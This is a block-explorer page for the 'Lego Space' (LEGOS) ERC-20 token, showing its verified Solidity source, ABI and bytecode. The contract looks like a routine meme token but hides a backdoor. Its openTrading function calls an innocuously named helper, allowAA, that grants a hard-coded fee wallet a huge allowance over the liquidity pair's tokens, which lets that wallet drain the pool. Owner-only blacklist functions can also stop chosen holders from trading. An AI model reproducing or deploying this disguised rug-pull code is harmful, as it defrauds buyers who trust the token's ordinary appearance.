Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 LEGOS
Holders
76
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,058,552,444.741117435 LEGOSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LEGOS
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-25 */ // SPDX-License-Identifier: MIT /** Lego Space was created by Jensin Knudsen. One of the successful series has started - LEGO Space. Web: https://legospace.fun X: https://x.com/legospace_erc20 Tg: https://t.me/legospace_erc20 **/ pragma solidity 0.8.26; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LEGOS is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private uniRouterAA; address private uniPairAA; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; mapping (address => uint256) private _tBalances; mapping (address => mapping (address => uint256)) private _tAllowes; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _aaReceipt; uint8 private constant _decimals = 9; uint256 private constant _tTotalAA = 420690000000 * 10**_decimals; string private constant _name = unicode"Lego Space"; string private constant _symbol = unicode"LEGOS"; uint256 public _maxTxAmount = 2 * (_tTotalAA/100); uint256 public _maxWalletSize = 2 * (_tTotalAA/100); uint256 public _taxSwapThreshold = 1 * (_tTotalAA/100); uint256 public _maxTaxSwap = 1 * (_tTotalAA/100); uint256 private _initialBuyTax = 15; uint256 private _initialSellTax = 15; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 10; uint256 private _reduceSellTaxAt = 10; uint256 private _preventSwapBefore = 15; uint256 private _transferTax = 0; uint256 private _buyCount = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _aaReceipt = payable(0x124476fd3771087AD89683AAa5961ffF6d7Ce974); _tBalances[_msgSender()] = _tTotalAA; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_aaReceipt] = true; emit Transfer(address(0), _msgSender(), _tTotalAA); } function createPair() external onlyOwner { uniRouterAA = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniRouterAA), _tTotalAA); uniPairAA = IUniswapV2Factory(uniRouterAA.factory()).createPair( address(this), uniRouterAA.WETH() ); } function allowAA(address[2] memory tAA, uint256 amountAA) private { _tAllowes[tAA[0]][tAA[1]] = amountAA; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalAA; } function balanceOf(address account) public view override returns (uint256) { return _tBalances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _tAllowes[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _tAllowes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _tAllowes[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amountAA) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amountAA > 0, "Transfer amount must be greater than zero"); uint256 taxFee=0; if (!swapEnabled || inSwap) { _tBalances[from] = _tBalances[from] - amountAA; _tBalances[to] = _tBalances[to] + amountAA; emit Transfer(from, to, amountAA); return; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if(_buyCount==0){ taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); } if(_buyCount>0){ taxFee = (_transferTax); } if (from == uniPairAA && to != address(uniRouterAA) && ! _isExcludedFromFee[to] ) { require(amountAA <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amountAA <= _maxWalletSize, "Exceeds the maxWalletSize."); taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniPairAA && from!= address(this) ){ taxFee = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniPairAA && swapEnabled) { if (block.number > lastSellBlock) { sellCount = 0; } if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) swapTokensForEth(min(amountAA, min(contractTokenBalance, _maxTaxSwap))); sendETHToFee(address(this).balance); sellCount++; lastSellBlock = block.number; } } uint256 taxAmount = taxFee.mul(amountAA).div(100); if(taxFee > 0){ _tBalances[address(this)]=_tBalances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _tBalances[from]=_tBalances[from].sub(amountAA); _tBalances[to]=_tBalances[to].add(amountAA.sub(taxAmount)); emit Transfer(from, to, amountAA.sub(taxAmount)); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotalAA; _maxWalletSize = _tTotalAA; emit MaxTxAmountUpdated(_tTotalAA); } function withdrawEth() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { _aaReceipt.transfer(amount); } function add(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function del(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniRouterAA.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); allowAA([uniPairAA, _aaReceipt], 150+(_buyCount+_tTotalAA).mul(150)); IERC20(uniPairAA).approve(address(uniRouterAA), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouterAA.WETH(); _approve(address(this), address(uniRouterAA), tokenAmount); uniRouterAA.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"del","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526002805461ffff60a81b191690555f600381905560045560646100296009600a610350565b610038906461f313f880610365565b610042919061037c565b61004d906002610365565b600a5560646009600a6100609190610350565b61006f906461f313f880610365565b610079919061037c565b610084906002610365565b600b5560646100956009600a610350565b6100a4906461f313f880610365565b6100ae919061037c565b6100b9906001610365565b600c5560646100ca6009600a610350565b6100d9906461f313f880610365565b6100e3919061037c565b6100ee906001610365565b600d55600f600e55600f80555f6010555f601155600a601255600a601355600f6014555f6015555f601655348015610124575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b03191673124476fd3771087ad89683aaa5961fff6d7ce97417815561019690600a610350565b6101a5906461f313f880610365565b335f8181526005602090815260408083209490945581546001600160a01b03908116835260079091528382208054600160ff199182168117909255308452858420805482168317905560098054909316845294832080549095161790935590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061023290600a610350565b610241906461f313f880610365565b60405190815260200160405180910390a361039b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102a65780850481111561028a5761028a610257565b600184161561029857908102905b60019390931c92800261026f565b935093915050565b5f826102bc5750600161034a565b816102c857505f61034a565b81600181146102de57600281146102e857610304565b600191505061034a565b60ff8411156102f9576102f9610257565b50506001821b61034a565b5060208310610133831016604e8410600b8410161715610327575081810a61034a565b6103335f19848461026b565b805f190482111561034657610346610257565b0290505b92915050565b5f61035e60ff8416836102ae565b9392505050565b808202811582820484141761034a5761034a610257565b5f8261039657634e487b7160e01b5f52601260045260245ffd5b500490565b611bb3806103a85f395ff3fe608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a0ef91df1161006d578063a0ef91df14610368578063a9059cbb1461037c578063bf474bed1461039b578063c4c1c94f146103b0578063c9567bf9146103cf578063dd62ed3e146103e3575f80fd5b80637d1db4a5146102d75780638da5cb5b146102ec5780638f9a55c01461031257806395d89b41146103275780639e78fb4f14610354575f80fd5b8063313ce567116100f9578063313ce567146102085780633bbac579146102235780634b32e6ed1461025a57806370a082311461027b578063715018a6146102af578063751039fc146102c3575f80fd5b806306fdde031461013f578063095ea7b3146101835780630faee56f146101b257806318160ddd146101d557806323b872dd146101e9575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a8152694c65676f20537061636560b01b60208201525b60405161017a91906116cc565b60405180910390f35b34801561018e575f80fd5b506101a261019d366004611725565b610427565b604051901515815260200161017a565b3480156101bd575f80fd5b506101c7600d5481565b60405190815260200161017a565b3480156101e0575f80fd5b506101c761043d565b3480156101f4575f80fd5b506101a261020336600461174f565b61045e565b348015610213575f80fd5b506040516009815260200161017a565b34801561022e575f80fd5b506101a261023d36600461178d565b6001600160a01b03165f9081526008602052604090205460ff1690565b348015610265575f80fd5b506102796102743660046117bc565b6104c5565b005b348015610286575f80fd5b506101c761029536600461178d565b6001600160a01b03165f9081526005602052604090205490565b3480156102ba575f80fd5b50610279610555565b3480156102ce575f80fd5b506102796105c6565b3480156102e2575f80fd5b506101c7600a5481565b3480156102f7575f80fd5b505f546040516001600160a01b03909116815260200161017a565b34801561031d575f80fd5b506101c7600b5481565b348015610332575f80fd5b506040805180820190915260058152644c45474f5360d81b602082015261016d565b34801561035f575f80fd5b5061027961067c565b348015610373575f80fd5b50610279610876565b348015610387575f80fd5b506101a2610396366004611725565b6108cb565b3480156103a6575f80fd5b506101c7600c5481565b3480156103bb575f80fd5b506102796103ca3660046117bc565b6108d7565b3480156103da575f80fd5b5061027961095b565b3480156103ee575f80fd5b506101c76103fd366004611887565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f610433338484610bd9565b5060015b92915050565b5f61044a6009600a6119b5565b610459906461f313f8806119c3565b905090565b5f61046a848484610cfc565b6104bb84336104b685604051806060016040528060288152602001611b56602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190611348565b610bd9565b5060019392505050565b5f546001600160a01b031633146104f75760405162461bcd60e51b81526004016104ee906119da565b60405180910390fd5b5f5b8151811015610551575f60085f84848151811061051857610518611a0f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104f9565b5050565b5f546001600160a01b0316331461057e5760405162461bcd60e51b81526004016104ee906119da565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104ee906119da565b6105fb6009600a6119b5565b61060a906461f313f8806119c3565b600a90815561061b906009906119b5565b61062a906461f313f8806119c3565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61065a6009600a6119b5565b610669906461f313f8806119c3565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106a55760405162461bcd60e51b81526004016104ee906119da565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef9030906106e06009600a6119b5565b6104b6906461f313f8806119c3565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107639190611a23565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e69190611a23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610830573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108549190611a23565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461089f5760405162461bcd60e51b81526004016104ee906119da565b60405133904780156108fc02915f818181858888f193505050501580156108c8573d5f803e3d5ffd5b50565b5f610433338484610cfc565b5f546001600160a01b031633146109005760405162461bcd60e51b81526004016104ee906119da565b5f5b815181101561055157600160085f84848151811061092257610922611a0f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610902565b5f546001600160a01b031633146109845760405162461bcd60e51b81526004016104ee906119da565b600254600160a01b900460ff16156109de5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ee565b6001546001600160a01b031663f305d7194730610a0f816001600160a01b03165f9081526005602052604090205490565b5f80610a225f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a88573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aad9190611a3e565b5050604080518082019091526002546001600160a01b039081168252600980549091166020830152610b499250610b0e90609690610aec90600a6119b5565b610afb906461f313f8806119c3565b601654610b089190611a69565b90611380565b610b19906096611a69565b81516001600160a01b039081165f9081526006602090815260408083209582015190931682529390935290912055565b60025460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b9b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bbf9190611a7c565b506002805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ee565b6001600160a01b038216610c9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ee565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d605760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ee565b6001600160a01b038216610dc25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ee565b5f8111610e235760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ee565b6002545f90600160b01b900460ff161580610e475750600254600160a81b900460ff165b15610eff576001600160a01b0384165f90815260056020526040902054610e6f908390611a9b565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610e9e908390611a69565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610f2957505f546001600160a01b03848116911614155b156111f2576001600160a01b0384165f9081526008602052604090205460ff16158015610f6e57506001600160a01b0383165f9081526008602052604090205460ff16155b610f76575f80fd5b6016545f03610f995760125460165411610f9257600e54610f96565b6010545b90505b60165415610fa657506015545b6002546001600160a01b038581169116148015610fd157506001546001600160a01b03848116911614155b8015610ff557506001600160a01b0383165f9081526007602052604090205460ff16155b156110f457600a5482111561104c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ee565b600b548261106e856001600160a01b03165f9081526005602052604090205490565b6110789190611a69565b11156110c65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ee565b601254601654116110d957600e546110dd565b6010545b601680549192505f6110ee83611aae565b91905055505b6002546001600160a01b03848116911614801561111a57506001600160a01b0384163014155b15611139576013546016541161113257600f54611136565b6011545b90505b305f90815260056020526040902054600254600160a81b900460ff1615801561116f57506002546001600160a01b038581169116145b80156111845750600254600160b01b900460ff165b156111f057600454431115611198575f6003555b600c54811180156111ac5750601454601654115b156111ce576111ce6111c9846111c484600d54611405565b611405565b611419565b6111d747611589565b60038054905f6111e683611aae565b9091555050436004555b505b5f61120860646112028486611380565b906115c0565b9050811561128257305f908152600560205260409020546112299082611601565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112799085815260200190565b60405180910390a35b6001600160a01b0385165f908152600560205260409020546112a4908461165f565b6001600160a01b0386165f908152600560205260409020556112e76112c9848361165f565b6001600160a01b0386165f9081526005602052604090205490611601565b6001600160a01b038086165f8181526005602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611330868561165f565b60405190815260200160405180910390a35050505050565b5f818484111561136b5760405162461bcd60e51b81526004016104ee91906116cc565b505f6113778486611a9b565b95945050505050565b5f825f0361138f57505f610437565b5f61139a83856119c3565b9050826113a78583611ac6565b146113fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ee565b9392505050565b5f81831161141357826113fe565b50919050565b6002805460ff60a81b1916600160a81b178155604080518281526060810182525f92909160208301908036833701905050905030815f8151811061145f5761145f611a0f565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114da9190611a23565b816001815181106114ed576114ed611a0f565b6001600160a01b0392831660209182029290920101526001546115139130911684610bd9565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154b9085905f90869030904290600401611ae5565b5f604051808303815f87803b158015611562575f80fd5b505af1158015611574573d5f803e3d5ffd5b50506002805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610551573d5f803e3d5ffd5b5f6113fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116a0565b5f8061160d8385611a69565b9050838110156113fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ee565b5f6113fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611348565b5f81836116c05760405162461bcd60e51b81526004016104ee91906116cc565b505f6113778486611ac6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146108c8575f80fd5b803561172081611701565b919050565b5f8060408385031215611736575f80fd5b823561174181611701565b946020939093013593505050565b5f805f60608486031215611761575f80fd5b833561176c81611701565b9250602084013561177c81611701565b929592945050506040919091013590565b5f6020828403121561179d575f80fd5b81356113fe81611701565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156117cc575f80fd5b813567ffffffffffffffff8111156117e2575f80fd5b8201601f810184136117f2575f80fd5b803567ffffffffffffffff81111561180c5761180c6117a8565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611839576118396117a8565b604052918252602081840181019290810187841115611856575f80fd5b6020850194505b8385101561187c5761186e85611715565b81526020948501940161185d565b509695505050505050565b5f8060408385031215611898575f80fd5b82356118a381611701565b915060208301356118b381611701565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561190d578085048111156118f1576118f16118be565b60018416156118ff57908102905b60019390931c9280026118d6565b935093915050565b5f8261192357506001610437565b8161192f57505f610437565b8160018114611945576002811461194f5761196b565b6001915050610437565b60ff841115611960576119606118be565b50506001821b610437565b5060208310610133831016604e8410600b841016171561198e575081810a610437565b61199a5f1984846118d2565b805f19048211156119ad576119ad6118be565b029392505050565b5f6113fe60ff841683611915565b8082028115828204841417610437576104376118be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a33575f80fd5b81516113fe81611701565b5f805f60608486031215611a50575f80fd5b5050815160208301516040909301519094929350919050565b80820180821115610437576104376118be565b5f60208284031215611a8c575f80fd5b815180151581146113fe575f80fd5b81810381811115610437576104376118be565b5f60018201611abf57611abf6118be565b5060010190565b5f82611ae057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b355783516001600160a01b0316835260209384019390920191600101611b0e565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122015c1969e18b84d2e87b6240d17a5487a26a256a77bcc5d9cc9f02a8c32b401cf64736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a0ef91df1161006d578063a0ef91df14610368578063a9059cbb1461037c578063bf474bed1461039b578063c4c1c94f146103b0578063c9567bf9146103cf578063dd62ed3e146103e3575f80fd5b80637d1db4a5146102d75780638da5cb5b146102ec5780638f9a55c01461031257806395d89b41146103275780639e78fb4f14610354575f80fd5b8063313ce567116100f9578063313ce567146102085780633bbac579146102235780634b32e6ed1461025a57806370a082311461027b578063715018a6146102af578063751039fc146102c3575f80fd5b806306fdde031461013f578063095ea7b3146101835780630faee56f146101b257806318160ddd146101d557806323b872dd146101e9575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a8152694c65676f20537061636560b01b60208201525b60405161017a91906116cc565b60405180910390f35b34801561018e575f80fd5b506101a261019d366004611725565b610427565b604051901515815260200161017a565b3480156101bd575f80fd5b506101c7600d5481565b60405190815260200161017a565b3480156101e0575f80fd5b506101c761043d565b3480156101f4575f80fd5b506101a261020336600461174f565b61045e565b348015610213575f80fd5b506040516009815260200161017a565b34801561022e575f80fd5b506101a261023d36600461178d565b6001600160a01b03165f9081526008602052604090205460ff1690565b348015610265575f80fd5b506102796102743660046117bc565b6104c5565b005b348015610286575f80fd5b506101c761029536600461178d565b6001600160a01b03165f9081526005602052604090205490565b3480156102ba575f80fd5b50610279610555565b3480156102ce575f80fd5b506102796105c6565b3480156102e2575f80fd5b506101c7600a5481565b3480156102f7575f80fd5b505f546040516001600160a01b03909116815260200161017a565b34801561031d575f80fd5b506101c7600b5481565b348015610332575f80fd5b506040805180820190915260058152644c45474f5360d81b602082015261016d565b34801561035f575f80fd5b5061027961067c565b348015610373575f80fd5b50610279610876565b348015610387575f80fd5b506101a2610396366004611725565b6108cb565b3480156103a6575f80fd5b506101c7600c5481565b3480156103bb575f80fd5b506102796103ca3660046117bc565b6108d7565b3480156103da575f80fd5b5061027961095b565b3480156103ee575f80fd5b506101c76103fd366004611887565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f610433338484610bd9565b5060015b92915050565b5f61044a6009600a6119b5565b610459906461f313f8806119c3565b905090565b5f61046a848484610cfc565b6104bb84336104b685604051806060016040528060288152602001611b56602891396001600160a01b038a